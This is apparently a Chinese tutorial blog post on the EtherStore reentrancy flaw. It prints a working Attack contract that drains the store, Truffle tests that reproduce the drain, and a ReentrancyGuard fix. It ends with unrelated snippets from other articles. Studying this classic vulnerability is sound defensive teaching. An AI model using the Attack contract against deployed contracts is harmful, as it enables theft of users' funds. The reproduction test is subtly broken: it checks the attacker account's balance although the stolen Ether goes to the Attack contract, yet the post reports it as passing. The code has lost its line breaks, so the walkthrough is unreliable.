当前位置: 首页 > news >正文

GZ036区块链卷一 EtherStore合约漏洞详解

题目

pragma solidity >=0.8.3;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;emit Balance(balances[msg.sender]);}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1);etherStore.deposit{value: 1}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
(1)	分析智能合约中存在问题,并说明危害;
(2)	根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞;
(3)	创建新的智能合约,修复其中问题,说明修复内容并测试。

一、合约漏洞分析

1.1 问题识别

提供的EtherStore合约存在典型的重入攻击(Reentrancy Attack)漏洞,这是一种在以太坊智能合约中常见且危害严重的安全问题。让我们通过图表来理解这个漏洞:

 [攻击流程示意图]
1. 攻击者调用Attack.attack()└─> 存入1 ETH到EtherStore└─> 发起withdraw()└─> EtherStore发送1 ETH给Attack合约└─> 触发Attack.fallback()└─> 再次调用EtherStore.withdraw()└─> 循环直到EtherStore余额不足

1.2 漏洞代码定位

问题主要出在EtherStore合约的withdraw()函数中:

Solidity
function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}(""); // 危险的外部调用require(sent, "Failed to send Ether");balances[msg.sender] = 0; // 状态更新在外部调用之后
}

1.3 漏洞危害

危害性说明
资金被盗攻击者可提取远超其实际存款的金额 6 9
合约瘫痪可能导致合约资金被完全耗尽,无法正常运作
信任危机用户对智能合约安全性的信任受损

根据历史案例,重入攻击已造成数亿美元损失,包括著名的The DAO攻击(2016年,损失6000万美元)和Curve Finance攻击(2023年,损失7000万美元)

二、漏洞复现测试

2.1 测试环境搭建

使用Truffle测试框架编写测试用例,以下是完整的测试文件:


const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");contract("Reentrancy Attack Test(CVE-2016-10386/SWC-107)", (accounts) => {let etherStore, attack;const [owner, attacker] = accounts;before(async () => {etherStore = await EtherStore.new();attack = await Attack.new(etherStore.address);});it("正常存款应更新余额", async () => {await etherStore.deposit({value: web3.utils.toWei("1", "ether"), from: owner});const balance = await etherStore.balances(owner);assert.equal(balance.toString(), web3.utils.toWei("1", "ether"));});it("正常取款应减少余额", async () => {await etherStore.withdraw({from: owner});const balance = await etherStore.balances(owner);assert.equal(balance.toString(), "0");});it("重入攻击应耗尽合约资金", async () => {
// 先存入一些资金到合约await etherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});// 攻击者仅存入1 ETH但通过攻击取走全部资金const initialAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});const finalAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));const etherStoreBalance = await web3.eth.getBalance(etherStore.address);// 验证攻击结果assert(etherStoreBalance.toString() === "0", "EtherStore资金应被耗尽");assert(finalAttackBalance.gt(initialAttackBalance), "攻击者余额应增加");});
});

2.2 测试结果分析

测试步骤预期结果实际结果通过/失败
正常存款余额更新为1 ETH余额更新为1 ETH✔️
正常取款余额归零余额归零✔️
重入攻击合约资金被耗尽合约资金被耗尽✔️(证明漏洞存在)

三、漏洞修复方案

3.1 修复方法比较

修复方法优点缺点
Checks-Effects-Interactions模式无额外Gas消耗,代码清晰需要开发者严格遵循
OpenZeppelin ReentrancyGuard标准化解决方案,简单易用少量额外Gas消耗
禁止外部调用完全杜绝风险限制合约功能

3.2 推荐修复代码

采用OpenZeppelin的ReentrancyGuard方案:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract SecureEtherStore is ReentrancyGuard {mapping(address => uint) public balances;event Balance(uint newBalance);function deposit() public payable {balances[msg.sender] += msg.value;emit Balance(balances[msg.sender]);}function withdraw() public nonReentrant {uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");balances[msg.sender] = 0; // 先更新状态(bool sent, ) = msg.sender.call{value: bal}(""); // 后执行外部调用require(sent, "Failed to send Ether");}function getBalance() public view returns (uint) {return address(this).balance;}
}

3.3 修复内容说明

修复点原代码问题修复方案
执行顺序先转账后更新状态采用Checks-Effects-Interactions模式
重入保护无防止重入机制添加nonReentrant修饰器
错误处理简单错误提示添加详细错误信息

3.4 修复后测试


const SecureEtherStore = artifacts.require("SecureEtherStore");
const Attack = artifacts.require("Attack");contract("SecureEtherStore Test(CVE-2016-10386/SWC-107)", (accounts) => {let secureEtherStore, attack;const [owner, attacker] = accounts;before(async () => {secureEtherStore = await SecureEtherStore.new();attack = await Attack.new(secureEtherStore.address);});it("重入攻击应被阻止", async () => {await secureEtherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});try {await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});assert.fail("攻击应失败");} catch (error) {assert.include(error.message, "revert", "应回滚交易");}const etherStoreBalance = await web3.eth.getBalance(secureEtherStore.address);assert.equal(etherStoreBalance.toString(), web3.utils.toWei("5", "ether"), "资金应安全");});
});

测试结果验证了修复后的合约能够有效抵御重入攻击。

漏洞测试编号:

CVE-2016-10386

SWC-107

漏洞要素内容
编号CVE-2016-10386
类型重入攻击
危险等级高危
影响范围所有未做防护的智能合约
公开日期2016-06-17

相关文章:

GZ036区块链卷一 EtherStore合约漏洞详解

题目 pragma solidity >0.8.3;contract EtherStore {mapping(address > uint) public balances;function deposit() public payable {balances[msg.sender] msg.value;emit Balance(balances[msg.sender]);}function withdraw() public {uint bal balances[msg.sender…...

医药流通行业批发公司IT运维转型:Prometheus+Grafana监控Spring Boot 3应用实践

一、引言:医药流通行业IT运维挑战与工具换代需求 在医药流通行业批发领域,业务的核心在于供应链的高效运转、订单处理的精准及时以及库存管理的动态平衡。随着互联网医疗的兴起和电商平台的渗透,传统医药批发企业正加速向数字化、智能化转型…...

编程助手fitten code使用说明(超详细)(vscode)

这两年 AI 发展迅猛,作为开发人员,我们总是追求更快、更高效的工作方式,AI 的出现可以说改变了很多人的编程方式。 AI 对我们来说就是一个可靠的编程助手,给我们提供了实时的建议和解决方,无论是快速修复错误、提升代…...

金融大模型

FinGPT 数据集:https://github.com/AI4Finance-Foundation/FinGPT/tree/master/fingpt/FinGPT-v3 FinGPT v3 系列是在新闻和微博情绪分析数据集上使用 LoRA 方法进行微调的LLM,在大多数金融情绪分析数据集上取得了最佳分数。 FinGPT v3.1 使用 chatgl…...

【Pandas】pandas DataFrame infer_objects

Pandas2.2 DataFrame Conversion 方法描述DataFrame.astype(dtype[, copy, errors])用于将 DataFrame 中的数据转换为指定的数据类型DataFrame.convert_dtypes([infer_objects, …])用于将 DataFrame 中的数据类型转换为更合适的类型DataFrame.infer_objects([copy])用于尝试…...

011_异常、泛型和集合框架

异常、泛型和集合框架 异常Java的异常体系异常的作用 自定义异常异常的处理方案异常的两种处理方式 泛型泛型类泛型接口泛型方法、通配符和上下限泛型支持的类型 集合框架集合体系结构Collection Collection集合Collection的遍历方式认识并发修改异常问题解决并发修改异常问题的…...

QTSql全解析:从连接到查询的数据库集成指南

概览 与数据库的有效集成是确保数据管理效率和应用性能的关键,Qt框架就提供了强大的QtSql模块,使得开发者能够轻松地进行数据库操作,包括连接、查询执行以及结果处理等 一、引入QtSql模块 首先,需要在项目中引入QtSql模块&…...

docker快捷打包脚本(ai版)

直接进入主题: 用这个脚本前提是你本地可以拉镜像仓库的镜像,并且在 本地有了,然后将所有的镜像tag写在一个文件中,和下面docker_tags.txt 对应,文件叫什么,脚本里对应改什么,给小白说的 #!/bi…...

分布式防护节点秒级切换:实战配置与自动化运维

摘要:针对DDoS攻击导致节点瘫痪的问题,本文基于群联AI云防护的智能调度系统,详解如何实现节点健康检查、秒级切换与自动化容灾,并提供Ansible部署脚本。 一、分布式节点的核心价值 资源分散:攻击者难以同时击溃所有节…...

TBE(TVM的扩展)

算子 张量 一个张量只有一种数据类型 在内存中只能线性存储,最终形成一个长的一维数组 晟腾AI的数据格式 AIPP是对我们常见的数据格式转化成AI core支持的数据格式 广播机制 TVM TBE的第一种开发方式:DSL TBE的第二种开发方式:TVM TBE的第…...

Jenkins配置的JDK,Maven和Git

1. 前置 在配置前,我们需要先把JDK,Maven和Git安装到Jenkins的服务器上。 (1)需要进入容器内部,执行命令:docker exec -u root -it 容器号/容器名称(2选1) bash -- 容器名称 dock…...

核心案例 | 湖南汽车工程职业大学无人机操控与编队技术实验室

核心案例 | 湖南汽车工程职业大学无人机操控与编队技术实验室 为满足当今无人机行业应用需求,推动无人机技术的教育与实践深度融合,北京卓翼智能科技有限公司旗下品牌飞思实验室与湖南汽车工程职业大学强强联手,共同建设无人机操控与编队技术…...

【阻抗匹配】

自动匹配的实现: 检测反射信号:通过传感器(如定向耦合器)监测反射功率或驻波比(SWR),判断是否失配。控制单元:利用微控制器或专用芯片(如FPGA)分析检测数据&a…...

micro常用快捷键

micro常用快捷键 以下是 micro 编辑器 的常用快捷键整理,按功能分类清晰,方便快速查阅: 1. 基础操作 快捷键功能​Ctrl S​保存文件​Ctrl Q​退出编辑器​Ctrl O​打开文件​Ctrl E​打开命令栏(输入命令)​Ctr…...

DNS域名解析服务

目录 DNS系统 DNS系统的作用 DNS系统的类型(服务器分类) 1. ‌递归解析器(Recursive Resolver)‌ 2. ‌根域名服务器(Root Name Server)‌ 3. ‌顶级域服务器(TLD Name Server)…...

Linux的目录结构

倒根树状结构 【注意】 / 表示根目录,相当于Windows的C盘 进入跟目录命令: cd / /bin:存放的系统命令或二进制文件,如:cd ls cp等 /sbin /usr/bin /dev:存放的设备节点文件 , 驱动文件 /…...

【Python】Python 100题 分类入门练习题 - 新手友好

Python 100题 分类入门练习题 - 新手友好篇 - 整合篇 一、数学问题题目1:组合数字题目2:利润计算题目3:完全平方数题目4:日期天数计算题目11:兔子繁殖问题题目18:数列求和题目19:完数判断题目21…...

Three.js 系列专题 7:性能优化与最佳实践

内容概述 随着 3D 场景复杂度的增加,性能优化变得至关重要。Three.js 项目可能因几何体数量、纹理大小或渲染设置而变慢。本专题将介绍减少 draw call、优化纹理和使用调试工具的最佳实践。 学习目标 学会减少 draw call 和几何体复杂度。掌握纹理压缩与内存管理。使用 Stat…...

特权FPGA之Johnson移位

完整代码: module johnson(clk,rst_n,led,sw1_n,sw2_n,sw3_n);input clk; //时钟信号,50MHz input rst_n; //复位信号,低电平有效 output[3:0] led; //LED控制,1--灭&#xf…...

聊聊 CSS

先补充一些概念 C/S(客户端/服务器):要下载到本地才能用 需要安装、偶尔更新、不跨平台 B/S(浏览器/服务器):在浏览器输入网址就可以使用 无需安装、无需更新、可跨平台 [!NOTE] B/S 架构优点如此之多&am…...

域名系统DNS

一 概述 域名系统DNS是互联网使用的命名系统,用来把便于人们使用的机器名称转换为IP地址,比如我们熟知的www.baidu.com,www.sina.com,这些域名的背后都对应着一个又一个的IP地址。由域名转换为IP的过程我们称为解析,解析的过程大…...

大模型ui设计SVG输出

你是一位资深 SVG 绘画设计师,现需根据以下产品需求创建SVG方案: 产品需求 约拍app 画板尺寸: 宽度:375px(基于提供的HTML移动设计)高度:812px(iPhone X/XS 尺寸) 配…...

利用securecrt的tftp服务器功能传递文件

日常经常能用到需要调测一些openwrt设备,要互相拷贝文件,没有开启ftp功能时,这时可以用到crt的tftp内置服务器功能,利用tftp功能传递文件。 配置方法: 打开设置→全局配置→终端→tftp配置设置c上内置tftp服务器时&a…...

基于STM32、HAL库的IP2736U快充协议芯片简介及驱动程序设计

一、简介: IP2736U是一款高性能的USB Type-C和Power Delivery(PD)控制器芯片,支持最新的USB PD 3.0规范。它具有以下特点: 支持USB Type-C和PD 3.0协议 内置MCU,可编程配置 支持多种供电角色(Source/Sink/DRP) 支持PPS可编程电源 支持多种快充协议(PD/QC/AFC/FCP/SCP等) I…...

SQL学习笔记七

第九章用正则表达式进行搜索 9.1正则表达式介绍 正则表达式是用来匹配文本的特殊的串(字符集合)。如果你想从一个文本文件中提取电话号码,可以使用正则表达式。如果你需要查找名字中间有数字的所有文件,可以 使用一个正则表达式…...

MicroPython 开发ESP32应用教程 之 Timer、GPIO中断

随着我们课程的递进,大家会发现,我们之前课程中的例子,虽然功能都能实现,但总觉得体验感不够好,比如按键控制GRB灯珠的时候,很容易出现按键后,灯珠没有反应,还有蓝牙发送指令控制灯珠…...

【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)

文章目录 私有数据访问私有数据实例存储槽Solidity 中的数据存储方式1. storage(持久化存储)定长数组变长数组 2. memory(临时内存)3. calldata 可见性关键字私有数据存储风险安全措施 私有数据 私有数据(Private Dat…...

20250408在荣品的PRO-RK3566开发板使用Rockchip原厂的buildroot系统时拿掉经常出现的list-iodomain.sh警告信息

rootrk3566-buildroot:/usr/bin# vi list-iodomain.sh rootrk3566-buildroot:/usr/bin# sync 【最后】 #chk_env #get_chip_id $1 #echo_msg "Get CHIP ID: $CHIP_ID" #get_iodomain_val 20250408在荣品的PRO-RK3566开发板使用Rockchip原厂的buildroot系统时拿掉经常…...

上下拉电阻详解

一、基本定义 上拉电阻:连接信号线与电源(VCC),确保信号在无驱动时保持高电平。 下拉电阻:连接信号线与地(GND),确保信号在无驱动时保持低电平。 二、核心作用 电平稳定 防止悬空引…...

特权FPGA之数码管

case语句的用法: 计数器不断的计数,每一个num对应数码管一种数据的输出。实例通俗易懂,一目了然。 timescale 1ns / 1ps// Company: // Engineer: // // Create Date: // Design Name: // Module Name: // Project Name: //…...

PyTorch 学习笔记

环境:python3.8 PyTorch2.4.1cpu PyCharm 参考链接: 快速入门 — PyTorch 教程 2.6.0cu124 文档 PyTorch 文档 — PyTorch 2.4 文档 快速入门 导入库 import torch from torch import nn from torch.utils.data import DataLoader from torchvision …...

MCP基础学习计划:从MCP入门到项目构建的全面指南

文章简介 ai生成的学计划有的连接是无效的,想着边学习边找输出文章,后续会继续链接更新 在人工智能和大语言模型(LLM)的快速发展下,掌握Model Context Protocol(MCP)成为提升AI应用能力的关键。…...

NO.77十六届蓝桥杯备战|数据结构-单调队列|质量检测(C++)

什么是单调队列? 单调队列,顾名思义,就是存储的元素要么单调递增要么单调递减的队列。注意,这⾥的队列和普通的队列不⼀样,是⼀个双端队列。单调队列解决的问题 ⼀般⽤于解决滑动窗⼝内最⼤值最⼩值问题,以…...

【有啥问啥】深入浅出讲解 Teacher Forcing 技术

深入浅出讲解 Teacher Forcing 技术 在序列生成任务(例如机器翻译、文本摘要、图像字幕生成等)中,循环神经网络(RNN)以及基于 Transformer 的模型通常采用自回归(autoregressive)的方式生成输出…...

redis数据迁移之通过redis-dump镜像

这里写目录标题 一、redis-dump 镜像打包1.1 安装windows docker1.2 idea项目创建1.3 idea镜像打包 二、redis数据迁移2.1 数据导出2.2 数据导入 一、redis-dump 镜像打包 没有找到可用的redis-dump镜像,需要自己打包一下,这里我是在idea直接打包的 1.…...

Redis哨兵模式下执行sentinel failover mymaster命令可能导致什么风险,如何避免

在 Redis 哨兵模式下执行 SENTINEL FAILOVER mymaster 命令会强制触发主节点切换(手动故障转移),虽然这是合法的管理操作,但可能带来以下风险及规避方法: 一、潜在风险 数据丢失风险 原因:主节点可能在故障…...

软考案例分析实例答题模板

案例分析(全部为主观问答题, 总 5 大题, 第一题必选, 剩下 4 选 2, 每题 25 分, 共75分) 第一题: 案例分析——某企业信息架构优化项目 案例材料: 某企业是一家从事电子商务的大型企业, 随着业务规模的不断扩大, 现有的信息架 构已无法满足企业快速发展的需求。 企业…...

Docker+Jenkins+Gitee自动化项目部署

前置条件 docker安装成功 按照下面配置加速 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-EOF {"registry-mirrors": ["https://register.librax.org"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker一、…...

olib开源图书

8.olib开源图书 该软件作者已开源&#xff0c;开源地址&#xff1a;开源地址&#xff1a;https://github.com/shiyi-0x7f/o-lib 点击该软件&#xff0c;使用管理员权限打开&#xff0c;进入界面可以搜索图书并下载pdf文件。 蓝奏云下载&#xff1a;https://wwph.lanzout.com/…...

react: styled-components实现原理 标签模版

styled-components是针对react中一个前端广泛使用的css-in-js样式库B站 利用标签模版 利用ES6中的 标签模版文档标签模板其实不是模板&#xff0c;而是函数调用的一种特殊形式。“标签”指的就是函数&#xff0c;紧跟在后面的模板字符串就是它的参数。 let a 5; let b 10;…...

AI大模型从0到1记录学习 day15

14.3.5 互斥锁 1&#xff09;线程安全问题 线程之间共享数据会存在线程安全的问题。 比如下面这段代码&#xff0c;3个线程&#xff0c;每个线程都将g_num 1 十次&#xff1a; import time import threading def func(): global g_num for _ in range(10): tmp g_num 1 # ti…...

macbook pro查询并修改命令提示符的格式

环境 MacBook Pro 描述 我的命令提示符总是&#xff1a; # 前面总是多了&#xff08;base&#xff09; (base) yutaoyutaodeMacBook-Pro ~ % vim .zshrc (base) yutaoyutaodeMacBook-Pro ~ % source .zshrc # 期望改成下面这样&#xff1a; yutaoyutaodeMacBook-Pro ~ % 找…...

Baumer工业相机堡盟工业相机如何处理偶发十万分之一或百万分之一几率出现的黑图现象(C#)

Baumer工业相机堡盟工业相机如何处理偶发十万分之一或百万分之一几率出现的黑图现象&#xff08;C#&#xff09; Baumer工业相机Baumer工业相机出现黑图的技术背景硬件层面软件层面环境因素 实际案例演示&#xff1a;BaumerVCXG-53M.I.XT 防护相机项目使用环境项目反馈问题项目…...

基于Resemblyzer 声纹识别门禁系统设计

一、整体结构与思路 这份程序的核心目的是&#xff1a; 用麦克风录音 ➜ 识别说话人是谁 ➜ 图形化展示 ➜ 语音播报反馈 它主要由 4 个部分组成&#xff1a; 全局配置和依赖加载 语音采集和声纹提取逻辑 图形界面与交互&#xff08;PyQt5&#xff09; 语音播报反馈系统 …...

分布式数据库LSM树

LSM树的核心结构与操作流程 Log-Structured Merge Tree&#xff0c;日志 结构化 合并 树。 ​​追加写&#xff1a;永远不改&#xff0c;就算是update操作&#xff0c;也是追加写&#xff0c;一直新生成文件。 刷盘触发​​&#xff1a;追加到一定程序&#xff0c;比如到了几M…...

2143 最少刷题数

2143 最少刷题数 ⭐️难度&#xff1a;中等 &#x1f31f;考点&#xff1a;2022、前缀和、省赛、二分 &#x1f4d6; &#x1f4da; import java.util.Scanner; import java.util.Arrays;public class Main2 {public static void main(String[] args) {Scanner sc new Sca…...

Ansible:playbook 使用when和ith_items

文章目录 playbook使用 whenplaybook 使用迭代 with_items​迭代嵌套子变量 if 和 for在template中使用了&#xff0c;在playbook中加以区分&#xff0c;因此使用when进行条件判断&#xff0c;with_items进行循环迭代 playbook使用 when when语句&#xff0c;可以实现条件测试。…...

python爬取1688.item_search_best-查询榜单列表返回数据说明

在当今数字化时代&#xff0c;电商平台的数据蕴含着巨大的商业价值。1688作为国内领先的B2B电商平台&#xff0c;其商品搜索榜单数据能够为供应商、采购商以及市场研究人员提供诸多洞察。本文将详细介绍如何使用Python爬取1688的商品搜索榜单数据&#xff0c;并对返回数据进行说…...

数据结构(一)KMP+滑动窗口+链表+栈+队列

数据结构-链表 单链表 #include<iostream> using namespace std; const int N 100010; ​ int head,e[N],ne[N],idx; ​ void init() {head -1;idx 0; } void add_to_head(int x) {e[idx] x;ne[idx] head;head idx;idx; } void add(int k,int x) {e[idx] x;ne[id…...

C语言 数据结构 【队列】动态模拟实现

引言 用动态方式模拟实现队列的各个接口 一、队列的结构与概念 概念&#xff1a;只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表&#xff0c;队列具有先进先出FIFO(First In First Out) 入队列&#xff1a;进行插入操作的一端称为队尾 出队列…...